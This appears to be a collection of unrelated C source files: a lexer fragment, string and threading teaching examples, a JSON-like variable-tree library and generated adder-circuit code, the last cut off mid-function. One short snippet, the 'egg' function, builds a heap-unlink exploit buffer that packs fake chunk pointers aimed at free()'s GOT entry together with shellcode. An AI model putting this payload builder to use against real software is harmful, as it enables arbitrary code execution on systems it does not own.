word.type = 21;
strcpy(word.content, "<");
}
}
void handle_greater_than() {
if (c == '=') {
word.type = 24;
strcpy(word.content, ">=");
c = getchar();
}
else {
word.type = 23;
strcpy(word.content, ">");
}
}
void handle_equal() {
if (c == '=') {
word.type = 25;
strcpy(word.content, "==");
c = getchar();
}
else {
word.type = 27;
strcpy(word.content, "=");
}
}
|
C
|
/* strings-and-printf.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
char name[80];
sprintf( name, "David %s", argv[1] );
char name2[80];
strcpy( name2, name );
strcpy( name2, "ABCDEFGHIJKLMNOPQRSTUVWXYZ" );
printf( "name is: %s\n", name );
printf( "name2 is: %s\n", name2 );
int len = strlen( name2 );
printf( "length of name2 is %04d\n", len );
char name3[80];
sprintf( name3, "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ" );
/* copy the first 10 chars/bytes from name2 into name3 */
strncpy( name3, name2, 10 );
printf( "name3 is %s\n", name3 );
/* "ABCDEFGHIJ"
"ABCDEFGHIJQQQQQQQQQQQQQQ..." */
/* example of string concatenation */
char path[100];
int q = sprintf( path, "/cs/goldsd/" );
strcpy( path + q, "ABCDEFGH.txt" );
printf( "path is %s\n", path );
path[10] = '\0';
printf( "path is %s\n", path );
/* TO DO: check out man pages for strlen(), strcpy(), strncpy(),
sprintf(), strcmp(), strncmp(), strstr(), strchr(), strcat(),
strtok(), etc. */
return EXIT_SUCCESS;
}
|
C
|
#include <stdio.h>
int main(void)
{
int arr[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
printf("Size of arr = %d", sizeof(arr) / sizeof(int));
}
|
C
|
/* Program to create multiple thread and pass the argument
* All the thread is running in a parraly
* Author : Lal Bosco Lawrence
* Date : 19-oct-2017
*/
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<pthread.h>
#define NUM_OF_THREAD 3
#define THREAD_RUN 6
/* Thread fuction declaration */
void* thread_function(void *arg)
{
int index;
/* Thread enter into a loop to run concurently */
for(index=1;index<THREAD_RUN;index++)
{
printf("Thread : %d is running \n",*((unsigned int *)arg));
sleep(1);
}
}
int main()
{
pthread_t tid[NUM_OF_THREAD];
int index = 0;
unsigned int thread_num[NUM_OF_THREAD] ;
/* Feed the thread count */
for(index=0;index<NUM_OF_THREAD;index++)
thread_num[index] = index+1;
/* Create a thread */
for(index=0;index<NUM_OF_THREAD;index++)
{
if( pthread_create(&tid[index],NULL,thread_function,&thread_num[index]) < 0 )
{
printf("\nThread %d is not created\n",(index+1) );
exit(-1);
}
}
/* wait until the created thread to terminate */
for(index=0;index<NUM_OF_THREAD;index++)
pthread_join(tid[index], NULL);
return 0;
}
|
C
|
#include <stdio.h>
#include <math.h>
#include<stdlib.h>
float a,b,c;
void leia ()
{
printf("Digite um lado do triangulo:");
scanf("%f",&a);
printf("Digite outro lado do triangulo:");
scanf("%f",&b);;
}
void calcule()
{
c = sqrt(a*a + b*b);
}
void imprime()
{
printf("\no tamanho da hipotenusa e: %f.",c );
}
int main()
{
leia();
calcule();
imprime();
return 0;
}
|
C
|
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
/* Variables and functions */
scalar_t__ malloc (int) ;
int /*<<< orphan*/ shellcode ;
int /*<<< orphan*/ strcpy (char*,int /*<<< orphan*/ ) ;
int strlen (int /*<<< orphan*/ ) ;
char *egg(unsigned int what, unsigned int where)
{
char *ptr, *buf;
int i=0; //dummy = 0xfffffffc;
int size = strlen(shellcode);
// Will contain our fake chunk supplided with our fd & bk fields,
// addr of shellcode & got addr - 8 of free(). We will also try to
// stuff in our shellcode in the same buffer as I dont have enough
// gdb patience/time to find nother controlable buffer :P
buf = (char *)malloc(1250);
ptr = buf;
for (;i<1248;) {
*( (int **)ptr ) = (int *)( where - 8 );
ptr+=4;
*( (int **)ptr ) = (int *)( what );
ptr+=4;
i+=8;
}
buf[1250] = '\0';
ptr -= size;
strcpy(ptr, shellcode);
ptr = buf;
return ptr;
}
|
C
|
#include <libopticon/var.h>
#include <libopticon/hash.h>
#include <libopticon/util.h>
#include <string.h>
#include <assert.h>
/** Allocate a var object */
var *var_alloc (void) {
var *self = (var *) malloc (sizeof (var));
if (! self) return NULL;
self->next = self->prev = self->parent = self->root = NULL;
self->id[0] = '\0';
self->hashcode = 0;
self->type = VAR_NULL;
self->generation = 0;
self->lastmodified = 0;
self->firstseen = 0;
return self;
}
/** Link a var into its parent (it is assumed to already have a unique
* id.
* \param self The fresh var object.
* \param parent The parent var to add this node to.
*/
void var_link (var *self, var *parent) {
if (! (self && parent)) return;
if (self->hashcode == 0 && self->id[0]) {
self->hashcode = hash_token (self->id);
}
self->parent = parent;
self->root = (parent->root) ? parent->root : parent;
self->next = NULL;
/* copy generation data */
if (self->root) {
self->firstseen = self->lastmodified = \
self->generation = self->root->generation;
}
/* numbered array nodes have no id */
if (self->id[0] == 0) {
if (parent->type == VAR_NULL) {
parent->type = VAR_ARRAY;
parent->value.arr.first = NULL;
parent->value.arr.last = NULL;
parent->value.arr.count = 0;
parent->value.arr.cachepos = -1;
parent->value.arr.cachenode = NULL;
}
if (parent->type != VAR_ARRAY) return;
}
else {
if (parent->type == VAR_NULL) {
parent->type = VAR_DICT;
parent->value.arr.first = NULL;
parent->value.arr.last = NULL;
parent->value.arr.count = 0;
parent->value.arr.cachepos = -1;
parent->value.arr.cachenode = NULL;
}
if (parent->type != VAR_DICT) return;
}
if (parent->value.arr.last) {
self->prev = parent->value.arr.last;
parent->value.arr.last->next = self;
parent->value.arr.last = self;
}
else {
self->prev = NULL;
parent->value.arr.first = parent->value.arr.last = self;
}
parent->value.arr.count++;
}
/** Deep copy another var into one. The new structure will share no memory
* with the original.
* \param self The destination var
* \param orig The original var
*/
void var_copy (var *self, var *orig) {
if (self->type == VAR_STR) {
free (self->value.sval);
self->value.sval = NULL;
}
if (self->type == VAR_ARRAY || self->type == VAR_DICT) {
var *c = self->value.arr.first;
var *nc;
while (c) {
nc = c->next;
var_free (c);
c = nc;
}
self->value.arr.first = self->value.arr.last = NULL;
self->value.arr.cachepos = -1;
self->value.arr.cachenode = NULL;
self->value.arr.count = 0;
}
self->type = VAR_NULL;
var *crsr;
switch (orig->type) {
case VAR_NULL:
break;
case VAR_INT:
var_set_int (self, var_get_int (orig));
break;
case VAR_DOUBLE:
var_set_double (self, var_get_double (orig));
break;
case VAR_STR:
var_set_str (self, var_get_str (orig));
break;
case VAR_ARRAY:
self->type = VAR_ARRAY;
self->value.arr.first = self->value.arr.last = NULL;
self->value.arr.cachepos = -1;
self->value.arr.cachenode = NULL;
self->value.arr.count = 0;
crsr = orig->value.arr.first;
while (crsr) {
var *nvar = var_alloc();
nvar->id[0] = 0;
nvar->hashcode = 0;
var_copy (nvar, crsr);
var_link (nvar, self);
crsr = crsr->next;
}
break;
case VAR_DICT:
self->type = VAR_DICT;
self->value.arr.first = self->value.arr.last = NULL;
self->value.arr.cachepos = -1;
self->value.arr.cachenode = NULL;
self->value.arr.count = 0;
crsr = orig->value.arr.first;
while (crsr) {
var *nvar = var_alloc();
strcpy (nvar->id, crsr->id);
nvar->hashcode = crsr->hashcode;
var_copy (nvar, crsr);
var_link (nvar, self);
crsr = crsr->next;
}
break;
}
}
/** Unlink a var object from its parent structure. Deallocate all
* memory associated with the var and any children.
* \param self The var to free.
*/
void var_free (var *self) {
if (self->parent) {
if (self->prev) {
if (self->next) {
self->prev->next = self->next;
self->next->prev = self->prev;
}
else {
self->prev->next = NULL;
self->parent->value.arr.last = self->prev;
}
}
else {
if (self->next) {
self->next->prev = NULL;
self->parent->value.arr.first = self->next;
}
else {
self->parent->value.arr.first = NULL;
self->parent->value.arr.last = NULL;
}
}
self->parent->value.arr.count--;
self->parent->value.arr.cachepos = -1;
}
if (self->type == VAR_STR) {
free (self->value.sval);
}
if (self->type == VAR_ARRAY || self->type == VAR_DICT) {
var *c = self->value.arr.first;
var *nc;
while (c) {
nc = c->next;
var_free (c);
c = nc;
}
}
free (self);
}
/** Find a key in a dictionary node.
* \param self The dictionary var
* \param key The key to lookup
* \return Pointer to the child var, or NULL if not found.
*/
var *var_find_key (var *self, const char *key) {
if (! self) return NULL;
if (! key) return NULL;
if (self->type == VAR_NULL) {
self->type = VAR_DICT;
self->value.arr.first = self->value.arr.last = NULL;
self->value.arr.count = 0;
self->value.arr.cachepos = -1;
return NULL;
}
if (self->type != VAR_DICT) return NULL;
uint32_t hash = hash_token (key);
var *c = self->value.arr.first;
while (c) {
if (c->hashcode == 0 || (c->hashcode == hash)) {
if (strcmp (c->id, key) == 0) return c;
}
c = c->next;
}
return NULL;
}
/** Find, or create, a dictionary node inside a dictionary var.
* \param self The var to look into
* \param key The key of the alleged/desired dict node.
* \return var The dict node, or NULL if we ran into a conflict.
*/
var *var_get_dict_forkey (var *self, const char *key) {
var *res = var_find_key (self, key);
if (! res) {
res = var_alloc();
res->type = VAR_DICT;
res->value.arr.first = res->value.arr.last = NULL;
res->value.arr.count = 0;
res->value.arr.cachepos = -1;
strncpy (res->id, key, 127);
res->id[127] = 0;
res->hashcode = hash_token (key);
var_link (res, self);
}
if (res->type == VAR_DICT) return res;
return NULL;
}
/** Find, or create, an array node inside a dictionary var.
* \param self The var to look into
* \param key The key of the alleged/desired dict node.
* \return var The dict node, or NULL if we ran into a conflict.
*/
var *var_get_array_forkey (var *self, const char *key) {
var *res = var_find_key (self, key);
if (! res) {
res = var_alloc();
res->type = VAR_ARRAY;
res->value.arr.first = res->value.arr.last = NULL;
res->value.arr.count = 0;
res->value.arr.cachepos = -1;
strncpy (res->id, key, 127);
res->id[127] = 0;
res->hashcode = hash_token (key);
var_link (res, self);
}
if (res->type == VAR_ARRAY) return res;
return NULL;
}
/** Get an integer value out of a dict var.
* \param self The dict
* \param key The key inside the dict
* \return The integer value, or 0 if it couldn't be resolved. Strings
* will be autoconverted. PHP all the things.
*/
uint64_t var_get_int_forkey (var *self, const char *key) {
var *res = var_find_key (self, key);
if (! res) return 0;
if (res->type == VAR_STR) {
return strtoull (res->value.sval, NULL, 10);
}
if (res->type == VAR_INT) return res->value.ival;
if (res->type == VAR_DOUBLE) return (uint64_t) res->value.dval;
return 0;
}
/** Get a double value out of a dict var.
* \param self The dict
* \param key The key inside the dict
* \return The double value, or 0.0 if it couldn't be resolved. Strings
* will be autoconverted. PHP all the things.
*/
double var_get_double_forkey (var *self, const char *key) {
var *res = var_find_key (self, key);
if (! res) return 0.0;
if (res->type == VAR_STR) {
return atof (res->value.sval);
}
if (res->type == VAR_DOUBLE) return res->value.dval;
if (res->type == VAR_INT) return (double) res->value.ival;
return 0.0;
}
/** Get a string value out of a dict var.
* \param self The dict
* \param key The key of the string inside the dict.
* \return The string, or NULL if found incompatible/nonexistant. No ducktyping.
*/
const char *var_get_str_forkey (var *self, const char *key) {
var *res = var_find_key (self, key);
if (! res) return NULL;
if (res->type != VAR_STR) return NULL;
return res->value.sval;
}
/** Get a uuid value out of a dict var. UUIDs are encoded as strings, not a
* proper var type.
* \param self The dictionary
* \param key The key for the alleged UUID.
* \return The uuid, or uuidnil() if it couldn't be found or parsed.
*/
uuid var_get_uuid_forkey (var *self, const char *key) {
return mkuuid (var_get_str_forkey (self, key));
}
/** Get a time value out of a dict var.
* \param self The dictionary
* \param key Key for the time string or int.
*/
time_t var_get_time_forkey (var *self, const char *key) {
var *res = var_find_key (self, key);
return res ? var_get_time (res) : 0;
}
/** Return the number of children of a keyed child-array or child-dict of
* a dict variable.
* \param self The parent dict
* \param key The subkey
* \return Number of members, or -1 for inappropriate type.
*/
int var_get_count (var *self) {
if (self->type != VAR_ARRAY && self->type != VAR_DICT) return -1;
return self->value.arr.count;
}
/** Get the direct int value of a var object. */
uint64_t var_get_int (var *self) {
if (self->type == VAR_STR) return strtoull (self->value.sval, NULL, 10);
if (self->type == VAR_DOUBLE) return (uint64_t) self->value.dval;
if (self->type == VAR_INT) return self->value.ival;
return 0;
}
/** Get the direct double value of a var object. */
double var_get_double (var *self) {
if (self->type == VAR_STR) return atof (self->value.sval);
if (self->type == VAR_DOUBLE) return self->value.dval;
if (self->type == VAR_INT) return (double) self->value.ival;
return 0.0;
}
/** Get the direct string value of a var object. */
const char *var_get_str (var *self) {
if (self->type == VAR_STR) return self->value.sval;
return NULL;
}
/** Parse the string value of a var object as a uuid */
uuid var_get_uuid (var *self) {
return mkuuid (var_get_str (self));
}
/** Extract the time out of a variable. There are two options here.
* If the type is VAR_INT, the value is treated as a unix timestamp
* and just typecast. If the type is VAR_STR, the value is parsed
* as a UTC iso timestring.
* \param self The var with the alleged time value
* \return Timestamp, 0 if none could be extracted.
*/
time_t var_get_time (var *self) {
if (self->type == VAR_INT) return (time_t) var_get_int (self);
if (self->type == VAR_STR) return utcstr2time (var_get_str (self));
return 0;
}
/** Lookup a var inside a parent by its array index. Uses smart caching
* to make sequential lookups lightweight.
* \param self The array-object
* \param index The index within the array, -1 and down for accessing
from the last item down.
* \return The variable, or NULL if it couldn't be found.
*/
var *var_find_index (var *self, int index) {
if (self->type != VAR_ARRAY && self->type != VAR_DICT) return NULL;
var *res = NULL;
int cindex = (index < 0) ? self->value.arr.count - index : index;
if (cindex < 0) return NULL;
if (cindex >= self->value.arr.count) return NULL;
int cpos = self->value.arr.cachepos;
if (cpos == cindex) {
return self->value.arr.cachenode;
}
if (index == -1) res = self->value.arr.last;
else if (cpos == cindex+1) {
res = self->value.arr.cachenode->prev;
}
else if (cindex && cpos == cindex-1) {
res = self->value.arr.cachenode->next;
}
if (! res) {
res = self->value.arr.first;
for (int i=0; res && (i<cindex); ++i) {
res = res->next;
}
}
if (! res) return NULL;
self->value.arr.cachepos = cindex;
self->value.arr.cachenode = res;
return res;
}
/** Lookup a dict var inside an array var.
* \param self The array to look inside
* \param idx The index (negative for measuring from the end).
* 'return The dict node, or NULL if it could not be arranged.
*/
var *var_get_dict_atindex (var *self, int idx) {
var *res = var_find_index (self, idx);
if (! res) return NULL;
if (res->type == VAR_NULL) {
res->type = VAR_DICT;
res->value.arr.first = res->value.arr.last = NULL;
res->value.arr.count = 0;
res->value.arr.cachepos = -1;
res->id[0] = 0;
res->hashcode = 0;
var_link (res, self);
}
if (res->type != VAR_DICT) return NULL;
return res;
}
/** Lookup an array var inside an array var.
* \param self The array to look inside
* \param idx The index (negative for measuring from the end).
* 'return The dict node, or NULL if it could not be arranged.
*/
var *var_get_array_atindex (var *self, int idx) {
var *res = var_find_index (self, idx);
if (! res) return NULL;
if (res->type == VAR_NULL) {
res->type = VAR_ARRAY;
res->value.arr.first = res->value.arr.last = NULL;
res->value.arr.count = 0;
res->value.arr.cachepos = -1;
res->id[0] = 0;
res->hashcode = 0;
var_link (res, self);
}
if (res->type != VAR_ARRAY) return NULL;
return res;
}
/** Get the int value of a var inside an array var.
* \param self The array
* \param idx The array index (negative for measuring from the end).
* \return The integer value, failed lookups will yield 0.
*/
uint64_t var_get_int_atindex (var *self, int idx) {
var *res = var_find_index (self, idx);
if (! res) return 0;
if (res->type == VAR_INT) return res->value.ival;
if (res->type == VAR_DOUBLE) return (uint64_t) res->value.dval;
if (res->type == VAR_STR) return strtoull (res->value.sval, NULL, 10);
return 0;
}
/** Get the double value of a var inside an array var.
* \param self The array
* \param idx The array index (negative for measuring from the end).
* \return The double value, failed lookups will yield 0.0.
*/
double var_get_double_atindex (var *self, int idx) {
var *res = var_find_index (self, idx);
if (! res) return 0;
if (res->type == VAR_INT) return (double) res->value.ival;
if (res->type == VAR_DOUBLE) return res->value.dval;
if (res->type == VAR_STR) return atof (res->value.sval);
return 0;
}
/** Get the string value of a var inside an array var.
* \param self The array
* \param idx The array index (negative for measuring from the end).
* \return The string value, or NULL.
*/
const char *var_get_str_atindex (var *self, int idx) {
var *res = var_find_index (self, idx);
if (! res) return 0;
if (res->type != VAR_STR) return NULL;
return res->value.sval;
}
/** Get a uuid parsed from the string value of a var inside an array var.
* \param self The array
* \param idx The array index (negative for measuring from the end).
* \return The uuid (or the nil uuid).
*/
uuid var_get_uuid_atindex (var *self, int idx) {
var *res = var_find_index (self, idx);
if (! res) return uuidnil();
return var_get_uuid (res);
}
/** Get the time value of a var out of an array.
* \param self The array
* \param idx The array index
* \return The time value, or 0 on failure.
*/
time_t var_get_time_atindex (var *self, int idx) {
var *res = var_find_index (self, idx);
return res ? var_get_time (res) : 0;
}
/** Increase the generation counter of a variable space. When a new versin
* of the same structured document is loaded again, values that are set
* will have their generation updated to the latest number. Values that
* actually -change- in the process will also see their lastmodified
* updated. Reflective code can use this information later to figure out
* what changed about a particular configuration.
*/
void var_new_generation (var *rootnode) {
assert (rootnode->root == NULL);
rootnode->generation++;
}
/** When everything interesting that can be done with the generational
* informational after a new round of loading has been done, we are potentially
* left with zombie var-nodes that didn't get refreshed. This function will
* reap those stale nodes out of a variable space recursively.
*/
void var_clean_generation (var *node) {
uint32_t needgen = (node->root) ? node->root->generation : node->generation;
if (node->type != VAR_DICT && node->type != VAR_ARRAY) return;
var *crsr = node->value.arr.first;
var *ncrsr;
while (crsr) {
ncrsr = crsr->next;
/* time for a-reapin'? */
if (crsr->generation < needgen) {
var_free (crsr);
}
else var_clean_generation (crsr);
crsr = ncrsr;
}
}
/** Get a hold of a keyed sub-var of a dictionary var, whether it exists
* or not. Newly created nodes will initialize to type VAR_NULL.
* \param self The parent dict.
* \param key The key to look up.
* \return The var found or created.
*/
var *var_get_or_make (var *self, const char *key, vartype tp) {
var *res = var_find_key (self, key);
if (! res) {
res = var_alloc();
strncpy (res->id, key, 127);
res->id[127] = 0;
res->hashcode = hash_token (key);
var_link (res, self);
}
return res;
}
/** Update the generational data for a var. Will traverse up the tree in order
* to get the generation and modified data set.
* \param v The loaded object.
* \param is_updated 1 if lastmodified should be changed.
*/
void var_update_gendata (var *v, int is_updated) {
while (v) {
if (! v->root) break;
if (is_updated) {
if (v->lastmodified == v->root->generation) break;
v->lastmodified = v->root->generation;
}
if (v->generation == v->root->generation) break;
v->generation = v->root->generation;
v = v->parent;
}
}
/** Set the integer value of a dict-var sub-var.
* \param self The dict.
* \param key The key within the dict.
* \param val The value to set.
*/
void var_set_int_forkey (var *self, const char *key, uint64_t val) {
var *v = var_get_or_make (self, key, VAR_INT);
if (! v) return;
var_set_int (v, val);
}
/** Set the double value of a dict-var sub-var.
* \param self The dict.
* \param key The key within the dict.
* \param val The value to set.
*/
void var_set_double_forkey (var *self, const char *key, double val) {
var *v = var_get_or_make (self, key, VAR_DOUBLE);
if (! v) return;
var_set_double (v, val);
}
/** Set the direct integer value of a var */
void var_set_int (var *v, uint64_t val) {
int is_orig = 0;
if (v->root) v->generation = v->root->generation;
if (v->type == VAR_NULL) {
v->type = VAR_INT;
v->lastmodified = v->generation;
is_orig = 1;
}
if (v->type != VAR_INT) return;
if (!is_orig && (v->value.ival != val)) {
is_orig = 1;
}
v->value.ival = val;
var_update_gendata (v, is_orig);
}
/** Set the direct double value of a var */
void var_set_double (var *v, double val) {
int is_orig = 0;
if (v->root) v->generation = v->root->generation;
if (v->type == VAR_NULL) {
v->type = VAR_DOUBLE;
v->lastmodified = v->generation;
is_orig = 1;
}
if (v->type != VAR_DOUBLE) return;
if (!is_orig && (v->value.dval != val)) {
is_orig = 1;
}
v->value.dval = val;
var_update_gendata (v, is_orig);
}
/** Set the string value of a dict-var sub-var.
* \param self The dict.
* \param key The key within the dict.
* \param val The value to set.
*/
void var_set_str_forkey (var *self, const char *key, const char *val) {
var *v = var_get_or_make (self, key, VAR_STR);
if (! v) return;
var_set_str (v, val);
}
/** Set the string value of a dict-var sub-var from a uuid.
* \param self The dict.
* \param key The key within the dict.
* \param val The value to set.
*/
void var_set_uuid_forkey (var *self, const char *key, uuid val) {
var *v = var_get_or_make (self, key, VAR_STR);
if (! v) return;
var_set_uuid (v, val);
}
/** Set a UTC/iso time string value inside a dict.
* \param self The dictionary
* \param key The key for the time string
* \param t The value to set it to.
*/
void var_set_time_forkey (var *self, const char *key, time_t t) {
var *v = var_get_or_make (self, key, VAR_STR);
if (! v) return;
var_set_time (v, t);
}
/** Set a unix time int value inside a dict.
* \param self The dictionary
* \param key The key for the time value
* \param t The value to set it to
*/
void var_set_unixtime_forkey (var *self, const char *key, time_t t) {
var *v = var_get_or_make (self, key, VAR_INT);
if (! v) return;
var_set_int (v, (uint64_t) t);
}
/** Set up the var as a string with a uuid value. */
void var_set_uuid (var *v, uuid u) {
char buf[40];
uuid2str (u, buf);
var_set_str (v, buf);
}
/** Set up the var as a string with a UTC/iso time string */
void var_set_time (var *v, time_t t) {
char *str = time2utcstr (t);
var_own_str (v, str);
}
/** Set up the var as an integer with a unix timestamp */
void var_set_unixtime (var *v, time_t t) {
var_set_int (v, (uint64_t) t);
}
/** Set the direct stringvalue of a var, taking ownership of the string. */
void var_own_str (var *v, char *val) {
if (v->type == VAR_NULL) {
v->type = VAR_STR;
v->value.sval = val;
var_update_gendata (v, 1);
}
else if (v->type == VAR_STR) {
free (v->value.sval);
v->value.sval = val;
var_update_gendata (v, 1);
}
else free (val);
}
/** Set the direct string value of a var */
void var_set_str (var *v, const char *val) {
if (v->type == VAR_NULL) {
v->type = VAR_STR;
v->value.sval = strdup (val);
var_update_gendata (v, 1);
}
else if (v->type == VAR_STR) {
if (strcmp (v->value.sval, val) == 0) {
var_update_gendata (v, 0);
}
else {
free (v->value.sval);
v->value.sval = strdup (val);
var_update_gendata (v, 1);
}
}
}
/** Remove a named member from a dict */
void var_delete_key (var *v, const char *k) {
if (v->type != VAR_DICT) return;
var *node = var_find_key (v, k);
if (! node) return;
if (node->prev) {
node->prev->next = node->next;
}
else {
v->value.arr.first = node->next;
}
if (node->next) {
node->next->prev = node->prev;
}
else {
v->value.arr.last = node->prev;
}
if (node->parent) {
node->parent->value.arr.count--;
node->value.arr.cachepos = -1;
node->value.arr.cachenode = NULL;
node->parent = NULL;
}
node->next = node->prev = NULL;
node->root = node->parent = NULL;
var_free (node);
}
/** Clear an array. Arrays are always reloaded in bulk (with all children
* showing up with the last generation as the firstseen and lastmodified).
* \param v The array to clear.
*/
void var_clear_array (var *v) {
if (v->type != VAR_ARRAY) return;
var *c, *nc;
c = v->value.arr.first;
while (c) {
nc = c->next;
var_free (c);
c = nc;
}
v->value.arr.cachepos = -1;
var_update_gendata (v, 1);
}
/** Add an integer value to an array var.
* \param self The array
* \param nval The integer to add.
*/
void var_add_int (var *self, uint64_t nval) {
if (self->type != VAR_ARRAY) return;
var *nvar = var_alloc();
nvar->type = VAR_INT;
nvar->id[0] = 0;
nvar->hashcode = 0;
nvar->value.ival = nval;
var_link (nvar, self);
}
/** Add a double value to an array var.
* \param self The array
* \param nval The integer to add.
*/
void var_add_double (var *self, double nval) {
if (self->type != VAR_ARRAY) return;
var *nvar = var_alloc();
nvar->type = VAR_DOUBLE;
nvar->id[0] = 0;
nvar->hashcode = 0;
nvar->value.dval = nval;
var_link (nvar, self);
}
/** Add a string value to an array as a printed uuid.
* \param self The array
* \param u The uuid
*/
void var_add_uuid (var *self, uuid u) {
char buf[40];
uuid2str (u, buf);
var_add_str (self, buf);
}
/** Add a time string to array */
void var_add_time (var *self, time_t t) {
if (self->type != VAR_ARRAY) return;
var *nvar = var_alloc();
var_set_time (nvar, t);
var_link (nvar, self);
}
/** Add a unix timestamp to array */
void var_add_unixtime (var *self, time_t t) {
if (self->type != VAR_ARRAY) return;
var *nvar = var_alloc();
var_set_unixtime (nvar, t);
var_link (nvar, self);
}
/** Add a string value to an array var.
* \param self The array
* \param nval The string to add (will be copied).
*/
void var_add_str (var *self, const char *nval) {
if (self->type != VAR_ARRAY) return;
var *nvar = var_alloc();
nvar->type = VAR_STR;
nvar->id[0] = 0;
nvar->hashcode = 0;
nvar->value.sval = strdup (nval);
var_link (nvar, self);
}
/** Add an empty array to an array var.
* \param self The parent array.
* \return The new empty array (or NULL).
*/
var *var_add_array (var *self) {
if (self->type == VAR_NULL) {
self->type = VAR_ARRAY;
self->value.arr.first = self->value.arr.last = NULL;
self->value.arr.count = 0;
self->value.arr.cachepos = -1;
}
if (self->type != VAR_ARRAY) return NULL;
var *nvar = var_alloc();
nvar->type = VAR_ARRAY;
nvar->id[0] = 0;
nvar->hashcode = 0;
nvar->value.arr.first = nvar->value.arr.last = NULL;
nvar->value.arr.count = 0;
nvar->value.arr.cachepos = -1;
var_link (nvar, self);
return nvar;
}
/** Add an empty dictionary to an array var.
* \param self The parent array.
* \return The new empty dictionary (or NULL).
*/
var *var_add_dict (var *self) {
if (self->type == VAR_NULL) {
self->type = VAR_ARRAY;
self->value.arr.first = self->value.arr.last = NULL;
self->value.arr.count = 0;
self->value.arr.cachepos = -1;
}
if (self->type != VAR_ARRAY) return NULL;
var *nvar = var_alloc();
nvar->type = VAR_DICT;
nvar->id[0] = 0;
nvar->hashcode = 0;
nvar->value.arr.first = nvar->value.arr.last = NULL;
nvar->value.arr.count = 0;
nvar->value.arr.cachepos = -1;
var_link (nvar, self);
return nvar;
}
|
C
|
#include <stdio.h>
#include <stdint.h>
uint8_t and_gate(uint8_t a, uint8_t b){
return ((a >> 0) & 0x01) & ((b >> 0) & 0x01);
}
uint8_t xor_gate(uint8_t a, uint8_t b){
return ((a >> 0) & 0x01) ^ ((b >> 0) & 0x01);
}
uint8_t or_gate(uint8_t a, uint8_t b){
return ((a >> 0) & 0x01) | ((b >> 0) & 0x01);
}
uint8_t ha(uint8_t a, uint8_t b){
uint8_t ha_out = 0;
uint8_t ha_xor0 = 0;
uint8_t ha_and0 = 0;
ha_xor0 = xor_gate(((a >> 0) & 0x01), ((b >> 0) & 0x01));
ha_and0 = and_gate(((a >> 0) & 0x01), ((b >> 0) & 0x01));
ha_out |= ((ha_xor0 >> 0) & 0x01ull) << 0;
ha_out |= ((ha_and0 >> 0) & 0x01ull) << 1;
return ha_out;
}
uint8_t fa(uint8_t a, uint8_t b, uint8_t cin){
uint8_t fa_out = 0;
uint8_t fa_xor0 = 0;
uint8_t fa_and0 = 0;
uint8_t fa_xor1 = 0;
uint8_t fa_and1 = 0;
uint8_t fa_or0 = 0;
fa_xor0 = xor_gate(((a >> 0) & 0x01), ((b >> 0) & 0x01));
fa_and0 = and_gate(((a >> 0) & 0x01), ((b >> 0) & 0x01));
fa_xor1 = xor_gate(((fa_xor0 >> 0) & 0x01), ((cin >> 0) & 0x01));
fa_and1 = and_gate(((fa_xor0 >> 0) & 0x01), ((cin >> 0) & 0x01));
fa_or0 = or_gate(((fa_and0 >> 0) & 0x01), ((fa_and1 >> 0) & 0x01));
fa_out |= ((fa_xor1 >> 0) & 0x01ull) << 0;
fa_out |= ((fa_or0 >> 0) & 0x01ull) << 1;
return fa_out;
}
uint64_t u_rca5(uint64_t a, uint64_t b){
uint8_t u_rca5_out = 0;
uint8_t u_rca5_ha_xor0 = 0;
uint8_t u_rca5_ha_and0 = 0;
uint8_t u_rca5_fa1_xor1 = 0;
uint8_t u_rca5_fa1_or0 = 0;
uint8_t u_rca5_fa2_xor1 = 0;
uint8_t u_rca5_fa2_or0 = 0;
uint8_t u_rca5_fa3_xor1 = 0;
uint8_t u_rca5_fa3_or0 = 0;
uint8_t u_rca5_fa4_xor1 = 0;
uint8_t u_rca5_fa4_or0 = 0;
u_rca5_ha_xor0 = (ha(((a >> 0) & 0x01), ((b >> 0) & 0x01)) >> 0) & 0x01;
u_rca5_ha_and0 = (ha(((a >> 0) & 0x01), ((b >> 0) & 0x01)) >> 1) & 0x01;
u_rca5_fa1_xor1 = (fa(((a >> 1) & 0x01), ((b >> 1) & 0x01), ((u_rca5_ha_and0 >> 0) & 0x01)) >> 0) & 0x01;
u_rca5_fa1_or0 = (fa(((a >> 1) & 0x01), ((b >> 1) & 0x01), ((u_rca5_ha_and0 >> 0) & 0x01)) >> 1) & 0x01;
u_rca5_fa2_xor1 = (fa(((a >> 2) & 0x01), ((b >> 2) & 0x01), ((u_rca5_fa1_or0 >> 0) & 0x01)) >> 0) & 0x01;
u_rca5_fa2_or0 = (fa(((a >> 2) & 0x01), ((b >> 2) & 0x01), ((u_rca5_fa1_or0 >> 0) & 0x01)) >> 1) & 0x01;
u_rca5_fa3_xor1 = (fa(((a >> 3) & 0x01), ((b >> 3) & 0x01), ((u_rca5_fa2_or0 >> 0) & 0x01)) >> 0) & 0x01;
u_rca5_fa3_or0 = (fa(((a >> 3) & 0x01), ((b >> 3) & 0x01), ((u_rca5_fa2_or0 >> 0) & 0x01)) >> 1) & 0x01;
u_rca5_fa4_xor1 = (fa(((a >> 4) & 0x01), ((b >> 4) & 0x01), ((u_rca5_fa3_or0 >> 0) & 0x01)) >> 0) & 0x01;
u_rca5_fa4_or0 = (fa(((a >> 4) & 0x01), ((b >> 4) & 0x01), ((u_rca5_fa3_or0 >> 0) & 0x01)) >> 1) & 0x01;
u_rca5_out |= ((u_rca5_ha_xor0 >> 0) & 0x01ull) << 0;
u_rca5_out |= ((u_rca5_fa1_xor1 >> 0) & 0x01ull) << 1;
u_rca5_out |= ((u_rca5_fa2_xor1 >> 0) & 0x01ull) << 2;
u_rca5_out |= ((u_rca5_fa3_xor1 >> 0) & 0x01ull) << 3;
u_rca5_out |= ((u_rca5_fa4_xor1 >> 0) & 0x01ull) << 4;
u_rca5_out |= ((u_rca5_fa4_or0 >> 0) & 0x01ull) << 5;
return u_rca5_out;
}
uint64_t h_u_csabam8_rca_h1_v10(uint64_t a, uint64_t b){
uint64_t h_u_csabam8_rca_h1_v10_out = 0;
